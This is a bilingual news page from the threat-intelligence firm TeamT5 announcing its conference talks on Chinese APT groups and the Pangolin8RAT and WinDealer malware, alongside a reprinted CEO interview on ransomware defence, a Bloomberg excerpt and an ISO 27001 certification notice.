黑帽大會（Black Hat）每年聚集全球資訊安全專家、優秀研究人員於一堂，透過資安研究、開發與最新趨勢交流，鼓勵學術界、世界級研究人員與各領域決策及領導者間的合作、成長。黑帽簡報會（Black Hat Briefing）與培訓（Training）每年也都在美國、歐洲與亞洲舉行，匯集全球資安頂尖人員參與盛會。


【Black Hat Asia 2022】中國駭客團體攔胡線上博弈產業 TeamT5 分析最新大規模網路攻擊手法

全球資安盛會「亞洲黑帽安全大會」（Black Hat Asia, BHASIA）今年以線上與實體混合方式舉辦，自 2021 年 5 月 10 日至 13 日（新加坡時間 UTC+8），為期3天的精彩議程（Black Hat Briefing）、專業深度培訓（Training），以及最新開源駭客工具的展示（Black Hat Arsenal），由頂尖資訊安全專家們傳授最新、第一手的技術與研究發現。

TeamT5 威脅情資研究員們連續第2年登上 BHASIA，發表兩場最新研究，與世界各地的資安研究人員交流最新的資訊安全風險、研究與趨勢。

第一場演講「[To Loot or Not to Loot? That Is Not a Question When State-Nexus APT Targets Online Entertainment Industry](https://www.blackhat.com/asia-22/briefings/schedule/#to-loot-or-not-to-loot-that-is-not-a-question-when-state-nexus-apt-targets-online-entertainment-industry-26143)」由 TeamT5 威脅情資分析師 Che Chang 與首席威脅情資分析師 Charles Li 介紹近年進階持續性威脅 (Advanced Persistent Threat, APT) 轉向線上娛樂/賭博產業之趨勢，動機不僅是財務勒索、更帶有間諜活動成分。演講中將以逾20個案例，說明駭客族群APT10 (又名 menuPass), APT41 (又名 Winnti, Amoeba)及 APT27 (又名 GreedyTaotie)的攻擊行為。

第二場演講「[The Next Gen PlugX/ShadowPad? A Dive into the Emerging China-Nexus Modular Trojan, Pangolin8RAT](https://www.blackhat.com/asia-22/briefings/schedule/#the-next-gen-plugxshadowpad-a-dive-into-the-emerging-china-nexus-modular-trojan-pangolinrat-25950)」，則由我們的威脅情資分析師 Silivia Yeh 與研究員 Leon Chang，剖析一個自2021年初開始嶄露頭角的「天吳(Tianwu)」族群。該群與 APT41 的入侵手法（TTPs）有不少相似之處；其專用後門（Proto8RAT）是一個高度模組化、且能支持八種協定的木馬程式。
根據此特徵，我們將該族群命名為「天吳(Tianwu)」，一個記載於《山海經》中八首人面的怪獸。目前，我們已經觀察到不少天吳針對亞太地區的攻擊，受害產業包括遊戲軟體業、交通運輸及電信。本演講將會分享分析結果與相關族群未來可能的發展動向。

**關於黑帽大會（Black Hat）**
 
黑帽大會（Black Hat）每年聚集全球資訊安全專家、優秀研究人員於一堂，透過資安研究、開發與最新趨勢交流，鼓勵學術界、世界級研究人員與各領域決策及領導者間的合作、成長。黑帽簡報會（Black Hat Briefing）與培訓（Training）每年也都在美國、歐洲與亞洲舉行，匯集全球資安頂尖人員參與盛會。

![https://uploads.teamt5.org/upload/original/20220412_Black-Hat-Asia-%E5%AE%A3%E5%82%B3_-facebook.jpg](
https://uploads.teamt5.org/upload/original/20220412_Black-Hat-Asia-%E5%AE%A3%E5%82%B3_-facebook.jpg)

【BlackHat Asia】TeamT5 研究員將於亞洲黑帽安全大會發表深度分析

This year, Black Hat Asia is held online and in-person, May 10-13, 2022 in Singapore Time (UTC+8). Our analysts & researchers give 2 speeches on recent notable APTs.

One talk “[To Loot or Not to Loot? That Is Not a Question When State-Nexus APT Targets Online Entertainment Industry](https://www.blackhat.com/asia-22/briefings/schedule/#to-loot-or-not-to-loot-that-is-not-a-question-when-state-nexus-apt-targets-online-entertainment-industry-26143)” is given by Che Chang (Cyber Threat Analyst) and
Charles Li (Chief Analyst). 

This talk will focus on APT's targeted attack against online entertainment companies which have solid cash flow and a massive amount of personal data. In the talk, we will dissect more than 20 targeted attack operations TeamT5 has tracked since 2018. The analysis shows technical links between these targeted attacks and the infamous Chinese APT, including APT10 (aka menuPass), APT41 (aka Winnti, Amoeba), and APT27 (aka GreedyTaotie). The presentation will cover these attacks' Tactic Technique and Procedures (TTPs) as we have seen those APT groups adopt different TTPs aimed at the online entertainment industry. We believe that these APT attacks are the preliminary work of the Chinese government. 

The other talk “[The Next Gen PlugX/ShadowPad? A Dive into the Emerging China-Nexus Modular Trojan, Pangolin8RAT](https://www.blackhat.com/asia-22/briefings/schedule/#the-next-gen-plugxshadowpad-a-dive-into-the-emerging-china-nexus-modular-trojan-pangolinrat-25950)” is given by Silvia Yeh (Threat Intelligence Analyst) and Leon Chang (Threat Intelligence Researcher). 

Since mid-2020, TeamT5 has detected a new modular trojan emerging in the APAC region which has the potential to be their successor. We name this trojan "Pangolin8RAT" because its PDB string contains "pangolin" and its RTTI contains "p8rat." 

Its early features supported 8 communication protocols, including TCP, HTTPS, UDP, DNS, ICMP, HTTPSIPV6, WEB, and SSH. Pangolin8RAT has only been associated with a Chinese APT group we track as "Tianwu." In this talk, they will also give a brief attack timeline of Pangolin8RAT/Tianwu from 2020 to 2021 as well as our outlook on the group's future development.

**About Black Hat Asia**
 
Black Hat is the world’s leading information security event, and remains the best and biggest event of its kind. It provides attendees with cutting-edge security research, development and trends, and has the ability to define tomorrow’s information security landscape. Black Hat Asia is an Black Hat extended event which is held in Singapore annually.

![https://uploads.teamt5.org/upload/original/20220412_Black-Hat-Asia-%E5%AE%A3%E5%82%B3_-facebook.jpg](
https://uploads.teamt5.org/upload/original/20220412_Black-Hat-Asia-%E5%AE%A3%E5%82%B3_-facebook.jpg)

【BlackHat Asia】TeamT5 Will Give Talks on Notable APTs

> We are honored to be interviewed by  [Cybernews](https://cybernews.com/), a research-based online publication that helps people navigate a safe path through their increasingly complex digital lives. In the interview, we share how TeamT5 originated with our cyber threat intelligence researches and how we do to help clients fight against ransomware. The whole interview report is below or can be viewed at [Cybernews](https://cybernews.com/security/sung-ting-tsai-teamt5-companies-shouldnt-claim-themselves-as-100-secured-or-unhackable/)。

**A ransomware attack may be a once-in-a-lifetime event for some, while for others, it is more so of an evergoing battle of wits, technology, and speed, which requires constant diligence and preparations.**

While more and more companies invest in proper cybersecurity measures, both by investing in professional infrastructures and [relying on commercial privacy and data protection management tools](https://cybernews.com/best-password-managers/), not many are involved in actively hunting threats that may as well have already penetrated their defenses.

To discuss such issues, Cybernews sat down with Sung-ting Tsai, the Chief Executive Officer of [TeamT5](https://teamt5.org/en/) – a cybersecurity intelligence firm. We talked about the dos and don’ts in the event of a ransomware attack and what cybersecurity measures are most important to take.

### Tell us about your story. How did TeamT5 originate?

Previously, I worked in a big cybersecurity company and led a research team. I found that clients often got hacked even though we made great solutions. I think the key is we didn’t have insights on attackers’ TTP (tactics, techniques, and procedures) so our defense couldn’t protect clients from those attackers.

Therefore, I became interested in cyber threat intelligence (CTI) research and decided to build TeamT5 to do CTI research. Back then, our team already discovered that the latest and advanced cyberattacks happened in Taiwan first. It gives us advantages to publish in-depth analysis and research.

Our niche is that we have focused on cyberattacks and cyber espionage for a long time. As not many people focus on this area, our research results are even more valuable and help many people and organizations around the world, especially in the US, Japan, and Korea.

Then, we made our reports of cyber threat intelligence into a solution – ThreatVision, a portal to see through the chaos. In 2017, we developed ThreatSonar which is an engine to hunt down intruders. It helps clients to defend against cyberattacks. When others can’t catch malicious cyberattacks – we can.

Since we established, we consider cyber threat intelligence research as the most important task. We have published more than 30 research papers in international cybersecurity seminars and conferences, including Black Hat Asia, SANS Institute – CTI Summit, Virus Bulletin (VT), and CodeBlue. Our findings are recognized by many clients, including one of the top five international banks, top telecom and business groups in Japan, and governmental critical infrastructures in Taiwan.

### Can you tell us a little bit about what you do? What challenges do you help navigate?

Our mission is to become the best partner to defend against advanced persistent threats (APTs).

Clients are facing two challenges:

1. While attackers know a lot about clients, our clients know a little about what they’re facing.
2. Clients don’t have sufficient technology to defend against attackers.

To help a client beat ransomware and cyber espionage, we provide three types of solutions:

1. **Threat Intelligence** – let clients know the enemies well and plan defense strategies.
2. **Defense Technology **– let clients be equipped with good tools in order to hunt down the enemies.
3. **Professional Service** – we work with clients to help them deal with various cyber threats.

### You often emphasize the importance of proactive threat hunting. Can you briefly describe this practice?

Traditionally, the idea of cybersecurity protection is to do multi-layered defense. However, the current problem is that enterprises don’t know whether attackers are already on the intranet.

So, we suggest that “proactive threat hunting” is a better idea for cyber protection nowadays. It means enterprises use our tool ThreatSonar Anti-Ransomware to do active and aggressive scans on logs from SIEM (security information and event management). Enterprises can even apply new screening rules on previous logs to discover previous malicious activities.

### How do you think the recent global events influenced the ways in which threat actors operate?

Looking into cyber attackers' behaviors, you can see that cyberattacks are effective and their impacts are bigger than ever. These impacts can be categorized into two types – one is leaking important information, while the other is data sabotage and ransom.

We observe that more operations with more power are conducted by many countries. Countries are also focusing on information operations (InfoOps). They invest more resources in public opinion operations, social media operations, and media operations. Their goal is to achieve impacts with certain purposes.

Recently, Ukraine conducts such operations really well. It indicates that if there are wars or disputes between counties in the future, such InfoOps will be common scenes.

### In the age of frequent cyberattacks, do you think small businesses and big enterprises require the same security measures?

In fact, it’s unlikely that small businesses apply the same cybersecurity measures as big enterprises. Our suggestion is for small businesses to use the same cybersecurity framework and ideas as big enterprises do. And small businesses shall prioritize each task and start with the most important parts.

We found that the most challenges that small businesses are not willing to invest in are cybersecurity measures. However, it’s important to do that in order to make business operations go smoothly.

### Since ransomware is one of your main fields of focus, could you give us a few tips on what should and shouldn't be done in the event of such an attack?

I advise companies to do defense in four steps:

1. **Threat awareness** – catch up on the latest cyber intelligence to understand the potential threats.

2. **Before attack** – deploy tools and measures to be prepared, e.g. backup your data and deploy anti-ransomware solutions.

3. **During attack** – have tools to see attacks that are happening (which means to make attacks visible); if there are attacks happening, enterprises shall have response measures.

4. **After attack** – companies shall have a standard operation procedure (SOP) on how to recover files and services. If companies prepare well, they may return to normal operations within a day; otherwise, they may still be shut down for a week, or even have to pay a ransom. Companies shall prepare for a negotiation. Some professional teams can help with that and lower the ransom amount.

Other things one should and shouldn't do:

1. Should – backup your files and patch up security

2. Shouldn't – threaten attackers

### In your opinion, what are the worst cybersecurity habits that make companies attractive targets for ransomware hackers?

Do not provoke actors! They are more capable than you think. Companies shouldn’t claim themselves as 100% secured or unhackable as tall trees catch much wind. For ransomware prevention, the most important thing is to do backups and put them offline.

### What new threats do you think the public should be ready to take on in the next few years? What security tools should be implemented by every internet user?

Firstly, there will be more ransomware attacks. The reason is that attackers are protected and hidden behind various technologies, such as the dark web (run on Tor), cryptocurrencies, and secured instant messengers. And victims are willing to pay to get files back. It makes ransomware attacks a profitable business.

The second threat is that countries will invest more in cyberattacks, including developing cyber weapons, increasing the power of cyberattacks, and recruiting more talents.

We suggest enterprises and government units invest more in cybersecurity in order to defend against the threats mentioned above. We think the key is cyber threat intelligence rather than tools. When enterprises and government units know more about attackers, they can defend better. As the old saying goes – know the enemy and know yourself in a hundred battles, and you will never be in peril.

### Share with us, what’s next for TeamT5?
We hope to increase our influence through cyber threat intelligence research. We believe our experience, research, and technology shared with more people can help them deal with APT threats.

【Cybernews】Sung-ting Tsai, TeamT5: “companies shouldn’t claim themselves as 100% secured or unhackable”

> 我們很高興受到  [Cybernews](https://cybernews.com/) 專訪，該線上媒體以資安研究為核心，協助人們在日益複雜的數位生活中，走出一條安全的道路。在本次專訪中，執行長蔡松廷(Sung-ting Tsai)分享公司成立的緣起，乃是基於威脅情資研究；並分享我們如何協助客戶防禦勒索軟體入侵。完整訪問內容可參考下方轉載，或至 CyberNews 官網閱讀 ([全文連結](https://cybernews.com/security/sung-ting-tsai-teamt5-companies-shouldnt-claim-themselves-as-100-secured-or-unhackable/)).

**A ransomware attack may be a once-in-a-lifetime event for some, while for others, it is more so of an evergoing battle of wits, technology, and speed, which requires constant diligence and preparations.**

While more and more companies invest in proper cybersecurity measures, both by investing in professional infrastructures and [relying on commercial privacy and data protection management tools](https://cybernews.com/best-password-managers/), not many are involved in actively hunting threats that may as well have already penetrated their defenses.

To discuss such issues, Cybernews sat down with Sung-ting Tsai, the Chief Executive Officer of [TeamT5](https://teamt5.org/en/) – a cybersecurity intelligence firm. We talked about the dos and don’ts in the event of a ransomware attack and what cybersecurity measures are most important to take.

### Tell us about your story. How did TeamT5 originate?

Previously, I worked in a big cybersecurity company and led a research team. I found that clients often got hacked even though we made great solutions. I think the key is we didn’t have insights on attackers’ TTP (tactics, techniques, and procedures) so our defense couldn’t protect clients from those attackers.

Therefore, I became interested in cyber threat intelligence (CTI) research and decided to build TeamT5 to do CTI research. Back then, our team already discovered that the latest and advanced cyberattacks happened in Taiwan first. It gives us advantages to publish in-depth analysis and research.

Our niche is that we have focused on cyberattacks and cyber espionage for a long time. As not many people focus on this area, our research results are even more valuable and help many people and organizations around the world, especially in the US, Japan, and Korea.

Then, we made our reports of cyber threat intelligence into a solution – ThreatVision, a portal to see through the chaos. In 2017, we developed ThreatSonar which is an engine to hunt down intruders. It helps clients to defend against cyberattacks. When others can’t catch malicious cyberattacks – we can.

Since we established, we consider cyber threat intelligence research as the most important task. We have published more than 30 research papers in international cybersecurity seminars and conferences, including Black Hat Asia, SANS Institute – CTI Summit, Virus Bulletin (VT), and CodeBlue. Our findings are recognized by many clients, including one of the top five international banks, top telecom and business groups in Japan, and governmental critical infrastructures in Taiwan.

### Can you tell us a little bit about what you do? What challenges do you help navigate?

Our mission is to become the best partner to defend against advanced persistent threats (APTs).

Clients are facing two challenges:

1. While attackers know a lot about clients, our clients know a little about what they’re facing.
2. Clients don’t have sufficient technology to defend against attackers.

To help a client beat ransomware and cyber espionage, we provide three types of solutions:

1. **Threat Intelligence** – let clients know the enemies well and plan defense strategies.
2. **Defense Technology **– let clients be equipped with good tools in order to hunt down the enemies.
3. **Professional Service** – we work with clients to help them deal with various cyber threats.

### You often emphasize the importance of proactive threat hunting. Can you briefly describe this practice?

Traditionally, the idea of cybersecurity protection is to do multi-layered defense. However, the current problem is that enterprises don’t know whether attackers are already on the intranet.

So, we suggest that “proactive threat hunting” is a better idea for cyber protection nowadays. It means enterprises use our tool ThreatSonar Anti-Ransomware to do active and aggressive scans on logs from SIEM (security information and event management). Enterprises can even apply new screening rules on previous logs to discover previous malicious activities.

### How do you think the recent global events influenced the ways in which threat actors operate?

Looking into cyber attackers' behaviors, you can see that cyberattacks are effective and their impacts are bigger than ever. These impacts can be categorized into two types – one is leaking important information, while the other is data sabotage and ransom.

We observe that more operations with more power are conducted by many countries. Countries are also focusing on information operations (InfoOps). They invest more resources in public opinion operations, social media operations, and media operations. Their goal is to achieve impacts with certain purposes.

Recently, Ukraine conducts such operations really well. It indicates that if there are wars or disputes between counties in the future, such InfoOps will be common scenes.

### In the age of frequent cyberattacks, do you think small businesses and big enterprises require the same security measures?

In fact, it’s unlikely that small businesses apply the same cybersecurity measures as big enterprises. Our suggestion is for small businesses to use the same cybersecurity framework and ideas as big enterprises do. And small businesses shall prioritize each task and start with the most important parts.

We found that the most challenges that small businesses are not willing to invest in are cybersecurity measures. However, it’s important to do that in order to make business operations go smoothly.

### Since ransomware is one of your main fields of focus, could you give us a few tips on what should and shouldn't be done in the event of such an attack?

I advise companies to do defense in four steps:

1. **Threat awareness** – catch up on the latest cyber intelligence to understand the potential threats.

2. **Before attack** – deploy tools and measures to be prepared, e.g. backup your data and deploy anti-ransomware solutions.

3. **During attack** – have tools to see attacks that are happening (which means to make attacks visible); if there are attacks happening, enterprises shall have response measures.

4. **After attack** – companies shall have a standard operation procedure (SOP) on how to recover files and services. If companies prepare well, they may return to normal operations within a day; otherwise, they may still be shut down for a week, or even have to pay a ransom. Companies shall prepare for a negotiation. Some professional teams can help with that and lower the ransom amount.

Other things one should and shouldn't do:

1. Should – backup your files and patch up security

2. Shouldn't – threaten attackers

### In your opinion, what are the worst cybersecurity habits that make companies attractive targets for ransomware hackers?

Do not provoke actors! They are more capable than you think. Companies shouldn’t claim themselves as 100% secured or unhackable as tall trees catch much wind. For ransomware prevention, the most important thing is to do backups and put them offline.

### What new threats do you think the public should be ready to take on in the next few years? What security tools should be implemented by every internet user?

Firstly, there will be more ransomware attacks. The reason is that attackers are protected and hidden behind various technologies, such as the dark web (run on Tor), cryptocurrencies, and secured instant messengers. And victims are willing to pay to get files back. It makes ransomware attacks a profitable business.

The second threat is that countries will invest more in cyberattacks, including developing cyber weapons, increasing the power of cyberattacks, and recruiting more talents.

We suggest enterprises and government units invest more in cybersecurity in order to defend against the threats mentioned above. We think the key is cyber threat intelligence rather than tools. When enterprises and government units know more about attackers, they can defend better. As the old saying goes – know the enemy and know yourself in a hundred battles, and you will never be in peril.

### Share with us, what’s next for TeamT5?
We hope to increase our influence through cyber threat intelligence research. We believe our experience, research, and technology shared with more people can help them deal with APT threats.

【Cybernews 專訪】TeamT5 執行長蔡松廷表示企業不宜宣稱自身100%不會被駭入

>Our CTI analysts comment on Pangu Lab’s report regarding a 2013 exploit to Bloomberg.  This is an expert of Bloomberg's article. Read more at [Bloomberg](https://www.bloomberg.com/news/articles/2022-02-24/chinese-report-on-suspected-nsa-hack-shows-beijing-pushing-back)]

For years, Washington has accused Beijing of instigating cyberattacks against the US. and its allies. Now, a Chinese cybersecurity firm says it has identified hacking within China by a group linked to the National Security Agency, hinting at a rethink of how Beijing handles its geopolitical rival. 

Chinese officials and companies like Huawei Technologies Co. have often responded to U.S. accusations in the past by declaring America the worst cyber-offender of all, pointing in particular to Edward Snowden’s revelations about U.S. espionage.

But this week, Pangu Lab said it discovered U.S.-sponsored hacking activity on Chinese soil. It said it found malware in domestic IT systems it claims was created by hacking group Equation, which is “generally believed” to be linked to the U.S. National Security Agency. In a report issued Feb. 23 and covered by the Communist Party-backed Global Times, Pangu Lab said the malware, called Bvp47, had been discovered within “a key Chinese department” in 2013 and 2015. Pangu Lab claimed the malware infiltrated systems to monitor and track key institutions in 45 countries around the world, including U.S. allies, in a campaign that lasted 10 years.

……

Taiwanese cybersecurity firm TeamT5 said that while Pangu Lab’s report was “one of the most detailed and in-depth forensic investigations published by Chinese cybersecurity firms,” it was curious that they chose a decade-old case to dissect.

“In the future, we think there will be more and more similar attribution reports by Chinese cybersecurity firms being leveraged by the Chinese state media to conduct propaganda campaigns,” analysts at TeamT5 wrote.

*Image courtesy of [Pixabay](https://pixabay.com/)


【Bloomberg】Chinese Report on Suspected NSA Hack Shows Beijing Pushing Back

>TeamT5 資安威脅情資分析師團隊接受彭博社(Bloomberg)訪問，針對中國盤古實驗室(Pangu Lab)揭露他們在2013年所發現的後門程式Bvp 47之報告，進行評論與分析。本文為摘錄，完整文章請見 [Bloomberg](https://www.bloomberg.com/news/articles/2022-02-24/chinese-report-on-suspected-nsa-hack-shows-beijing-pushing-back)]

For years, Washington has accused Beijing of instigating cyberattacks against the US. and its allies. Now, a Chinese cybersecurity firm says it has identified hacking within China by a group linked to the National Security Agency, hinting at a rethink of how Beijing handles its geopolitical rival. 

Chinese officials and companies like Huawei Technologies Co. have often responded to U.S. accusations in the past by declaring America the worst cyber-offender of all, pointing in particular to Edward Snowden’s revelations about U.S. espionage.

But this week, Pangu Lab said it discovered U.S.-sponsored hacking activity on Chinese soil. It said it found malware in domestic IT systems it claims was created by hacking group Equation, which is “generally believed” to be linked to the U.S. National Security Agency. In a report issued Feb. 23 and covered by the Communist Party-backed Global Times, Pangu Lab said the malware, called Bvp47, had been discovered within “a key Chinese department” in 2013 and 2015. Pangu Lab claimed the malware infiltrated systems to monitor and track key institutions in 45 countries around the world, including U.S. allies, in a campaign that lasted 10 years.

……

Taiwanese cybersecurity firm TeamT5 said that while Pangu Lab’s report was “one of the most detailed and in-depth forensic investigations published by Chinese cybersecurity firms,” it was curious that they chose a decade-old case to dissect.

“In the future, we think there will be more and more similar attribution reports by Chinese cybersecurity firms being leveraged by the Chinese state media to conduct propaganda campaigns,” analysts at TeamT5 wrote.

*Image courtesy of [Pixabay](https://pixabay.com/)


【Bloomberg 彭博社】Chinese Report on Suspected NSA Hack Shows Beijing Pushing Back

Japan Security Analyst Conference 2022 (JSAC2022) held on Jan. 27-28 with virtual & onsite talks. This annual cyber security conference hosted by JPCERT/CC, aimed to bring together security analysts and provide opportunities for them to share technical knowledge related to incident response and analysis.

TeamT5's cybersecurity researcher Leon works with Japan analysts Yusuke Niwa(from ITOCHU Corporation) & Suguru Ishimaru(from Kaspersky Lab) on cyberattack analysis. They presented a joint speech on the topic of "LuoYu: Continuous Espionage Activities Targeting Japan with the new version of WinDealer in 2021". 

In the presentation, they shared case studies with examples of incidents related to Japan and provided an update of the LuoYu group, a deep analysis of WinDealer. Also they told Japanese companies that they need to be aware of these kinds of threats and take countermeasures against this campaign.

The slides of the speech can be downloaded on the official website. 

- English Version [Link](https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf?utm_source=website&utm_medium=website)
- Japanese Version [Link](https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_jp.pdf?utm_source=website&utm_medium=website) 

![JSAC2022_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644385623/JSAC_2022_pic_7ff0496220.png)
<center>The LuoYu Threat Group Overview</center>

## About JSAC2022

Cyber attacks occur on a daily basis, and its techniques have been constantly changing. Engineers who analyze and respond to them are required to improve their skills to keep up with the ever-changing techniques of cyber attacks. However, there are few occasions in Japan where techniques and knowledge of incident analysis and response are shared among engineers. Security analysts are expected to get together and exchange their technical expertise on incident handling to develop their strength against cyber attacks both individually and as a whole.

To achieve this goal, JPCERT/CC hosts Japan Security Analyst Conference (JSAC), the annual conference for exchanging technical information on cyber security incident analysis and response. In this conference, security analysts who handle security incidents on a daily basis are encouraged to share information with each other to deal with ever-evolving cyber attacks today and in the future.

More information on [JSAC2022 event website](https://jsac.jpcert.or.jp/en/index.html).


*Image courtesy of [JSAC2022](https://jsac.jpcert.or.jp/en/index.html)

Japan Security Analyst Conference 2022

日本資安分析研討會 Japan Security Analyst Conference 2022 (JSAC2022) 於1月27-28日，採取實體與線上混和的方式舉辦。此年度盛事由日本電腦網路危機處理暨協調中心 (JPCERT/CC) 主辦，旨在提供資安分析師互動的機會，並分享資安事件回應與分析的技術、知識。

TeamT5 研究員 Leon 與日本研究員 Yusuke Niwa (ITOCHU Corporation)、Suguru Ishimaru ( Kaspersky Lab)，於本次活動共同分析 LuoYu 在2021的網路攻擊行動，其使用新版的WinDealer 惡意軟體，鎖定日本公司設於中國的辦公室。

演講簡報現可於研討會官網下載，下載連結[請點此](https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_7_leon-niwa-ishimaru_en.pdf?utm_source=website&utm_medium=website) 

![JSAC2022_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644385623/JSAC_2022_pic_7ff0496220.png)
<center>攻擊族群 LouYu 概觀 </center>


## 關於JSAC 2022

日本電腦網路危機處理暨協調中心 (JPCERT/CC) 表示每天都會發生網路攻擊事件，攻擊者的技術也在不斷變化。分析和回應這些事件的工程師需要提高他們的技能，以跟上不斷變化的網路攻擊技術與手法。然而在日本，工程師彼此分享事件分析技術和知識的情況較少。資安分析師宜聚在一起交流他們在事件處理方面的技術專長，以增強他們個人和整體對抗網路攻擊的實力。

為實現這一目標，JPCERT/CC 主辦了日本資安分享研討會 JSAC，這是一年一度的網路安全事件分析和回應技術交流會議。在本次會議中，鼓勵每天處理安全事件的工程師分享資訊，以應對當今和未來不斷演變的網路攻擊。

更多資訊請見 [JSAC2022 官網](https://jsac.jpcert.or.jp/en/index.html)


*首圖來源: [JSAC2022](https://jsac.jpcert.or.jp/en/index.html)

日本資安分析師研討會 JSAC2022

In 2022 event, TeamT5’s cyber threat intelligence analysts Che Chang and Silvia Yeh present their research of 2 Chinese InfoOp campaigns in 2020/2021 (#StopXinjiangRumours and #PatriotGoverningHongKong) by using the Adversarial Misinformation and Influence Tactics and Techniques framework at CTI Summit.

The slides of the speech can be downloaded on the official website.
➡ [Download Link](https://www.sans.org/presentations/clip-addiction-a-threat-intelligence-approach-to-video-based-chinese-infoops/?utm_source=website&utm_medium=website)

The video is on the official channel now. 
➡ [Video Link](https://youtu.be/I2gMDEYo2Bo)

![CTI Summit 2022_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644378154/CTI_Summit_2022_pic_4b601987f1.png)
<center>Diamond Model of Video-Based InfoOps Analysis</center>


## About CTI Summit

CTI Summit is organized by SANS Institute annually. It’s an international event that gathers experts to give talks. And it provides opportunities for professionals to connect and network with the threat intel community.


*Image courtesy of [SANS Institute](https://www.sans.org/apac/)

TeamT5 Presents Latest Analysis on Information Operation on CTI Summit 2022 

TeamT5 威脅情資分析師 Che Chang 與 Silvia Yeh 於今年度 CTI Summit 演講。本次演講從威脅情資的角度，分析2020~2021期間，充斥於網路社群空間的短影片，如何被用來作為中國資訊作戰(information operation)的武器。

演講簡報現可於官網下載，連結[請點此](https://www.sans.org/presentations/clip-addiction-a-threat-intelligence-approach-to-video-based-chinese-infoops/?utm_source=website&utm_medium=website)

演講影片現可於 Youtube 觀賞，連結[請點此](https://youtu.be/I2gMDEYo2Bo)

![CTI Summit 2022_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644378154/CTI_Summit_2022_pic_4b601987f1.png)
<center>資訊作戰之分析模型</center>




## 關於 CTI Summit
CTI Summit 由國際知名的資安研暨及學術教育組織 SANS Institute 主辦，為資訊安全專家、稽核員、網管系統管理人員等資安界專業人士，提供資訊安全教育課程與技術研討會。

*首圖來源: [SANS Institute](https://www.sans.org/apac/)

TeamT5 於 CTI Summit 2022 分享最新威脅情資研究

TeamT5 於今年(2021)首次申請 ISO 27001 資訊安全管理系統認證。經過全體同仁數月的共同努力，在 9 月以零缺失通過驗證，並於12月4日由英國標準協會 BSI 台灣分公司洪詩嵐協理，頒授證書予 TeamT5 蔡松廷執行長。

TeamT5 一直以來都具備完善及嚴謹的資安管理系統與制度，此次透過國際標準之資安及隱私資訊管理制度，讓資安及隱私保護意識更深入企業文化中，展現 TeamT5 於資安防護的堅持，與守護客戶之決心。


![ISO 27001_photo.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640756658/ISO_27001_photo_a660399985.jpg)


英國標準協會 BSI 台灣分公司洪詩嵐協理(左一) 頒授證書予 TeamT5 蔡松廷執行長(右一)、Baleezo(右二)



TeamT5 獲 ISO/IEC 27001:2013 驗證，具備資安服務高標準

TeamT5 just received ISO/IEC 27001:2013 certification as we applied for it for the first time. After months of efforts from our colleagues, TeamT5 passed the verification with zero defects in September. On December 4th, senior manager Elaine Hong represented the British Standards Institution (BSI) - Taiwan branch, and awarded the certification to the CEO of TeamT5, TT Tsai.

TeamT5 has always been equipped with a comprehensive & rigorous cybersecurity management system. This time, through the international standard for information security and private data management system, the awareness of information security & privacy protection has been deepened in the corporate culture. It also demonstrates TeamT5’s  determination to protect our clients with high standards of cybersecurity.



![ISO 27001_photo.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640756658/ISO_27001_photo_a660399985.jpg)


Elaine Hong (at left) represented the British Standards Institution and awarded the certification to the CEO of TeamT5, TT Tsai (in the middle) & Baleezo (at right).



TeamT5 Receives ISO/IEC 27001:2013 Certification with Highest Information Security Protection Standard

Winnti (APT41) 去年被美國 FBI 起訴，但他們並沒有消失，反而使用更新、更難被察覺的方法來突破資安防線。

TeamT5 針對 Winnti (APT41) 的完整研究成果，於台灣駭客年會 HITCON 2021分享。

本次演講簡報現可於官網下載: [連結](https://hitcon.org/2021/agenda/1abeaad2-5152-4468-91ac-d50a39dd7834/Winnti%20is%20Coming%20-%20Evolution%20after%20Prosecution.pdf)

![HITCON 2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644480002/HITCON_2021_pic_ed282d9a3e.png)
<center>系列網路攻擊鎖定的產業類型</center>

TeamT5 於台灣駭客年會 HITCON 2021 分享 Winnti (APT41)及相關研究

Since Winnti (APT41) was sued by the FBI last year, the group has not disappeared. Instead, they have used more innovative and less well noticed techniques to evade detection by security products, such as:

- Avoiding memory detection through dll hollowing technique and one miscellaneous method.
- Using DPAPI to encrypt the real payload to make forensics more difficult.
- Abusing the certificate to hide the payload in a signed PE file.
- Using Cloudflare Worker to hide the real IP address.
- Using legitimate tools like InstallUtil to execute code and bypass application whitelisting.

In addition to malware that is known to be used by Winnti , we also found some newly developed malware. There are two new pieces of listening port malware, RBRAT and a Stone variant. We also found a shellcode-based backdoor, Natwalk, and the method it used to call the Windows API was also innovative, making the reversing more difficult.

The group is also more careful in their usage of C2. They use DNS tunneling extensively as well as Cloudflare Worker to hide their real C2 IP.

We have observed that Winnti targeted telecommunications companies, key medical institutions, governments, and major infrastructures in various countries in 2021.
The prosecution did not deter them, but instead prompted them to evolve their attack techniques, and make it harder for researchers to track and detect.

In this talk we provide more details about the campaigns of Winnti , including its innovative TTPs, newly developed malware, lateral movement techniques, and the strategies they used for C2 after they were sued by the FBI.

Slides of the talk can be downloaded on the official website : [Link](https://hitcon.org/2021/agenda/1abeaad2-5152-4468-91ac-d50a39dd7834/Winnti%20is%20Coming%20-%20Evolution%20after%20Prosecution.pdf)

![HITCON 2021_pic.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1644480002/HITCON_2021_pic_ed282d9a3e.png)

<center>Target Industry by Winnti (APT41)</center>

Winnti is Coming! TeamT5 Shares APT Analysis Result in HITCON 2021

惡意程式領域最大的國際會議 Virus Bulletin (VB) 為資安界年度盛事，由專業人士提供惡意軟體、惡意行為者和威脅情報的最新且最佳之研究。

TeamT5 惡意程式研究員們 Aragorn Tseng、Charles Li、Peter Syu 和 Tom Lai 於會議上分享 APT41 的相關研究，其就是大家所熟知的駭客組織 Winnti，分享內容包括他們使用的 TTPs、新攻擊手法，以及分析他們今年使用 C2 的策略。

本次演講摘要與影片現於會議官網公開，連結[請點此](https://vblocalhost.com/conference/presentations/evolution-after-prosecution-psychedelic-apt41/)

